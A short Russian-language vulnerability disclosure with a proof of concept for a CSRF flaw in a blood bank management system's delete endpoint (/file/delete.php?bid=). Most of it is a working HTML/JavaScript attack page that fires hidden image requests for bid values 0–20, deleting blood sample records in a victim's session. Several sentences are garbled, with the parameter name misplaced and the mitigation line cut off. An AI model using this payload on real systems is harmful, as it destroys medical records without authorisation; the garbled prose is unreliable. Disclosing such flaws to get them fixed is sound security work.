
POC CSRF-атаки на банк крови
/file/delete.php?bid=В функции запроса крови системы BloodBank Management System была обнаружена уязвимость межсайтовой подделки запросов (CSRF). Этот дефект возникает при отправке delete-запроса на путь /file/delete.php?bid=, позволяя параметру выбирать запись для удаления в приложении. Однако являются динамическими и зависят от добавления образцов крови, поэтому для успешности запроса я использовал тег изображения, генерируемый JavaScript в цикле.
bidbidУспешная эксплуатация может привести к несанкционированным действиям, т.е. удалению данных от имени жертвы. Кроме того, это может быть использовано при посещении вредоносных веб-сайтов с полезной нагрузкой.
Ниже приведен пример CSRF PoC-атаки, которая удаляет доступные образцы крови через параметр bid; разместите файл на домене, контролируемом атакующим, в моем случае я использовал localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf-токены в свои запросы, а также избегайте выполнения изменяющих состояние действий через GET-запросы.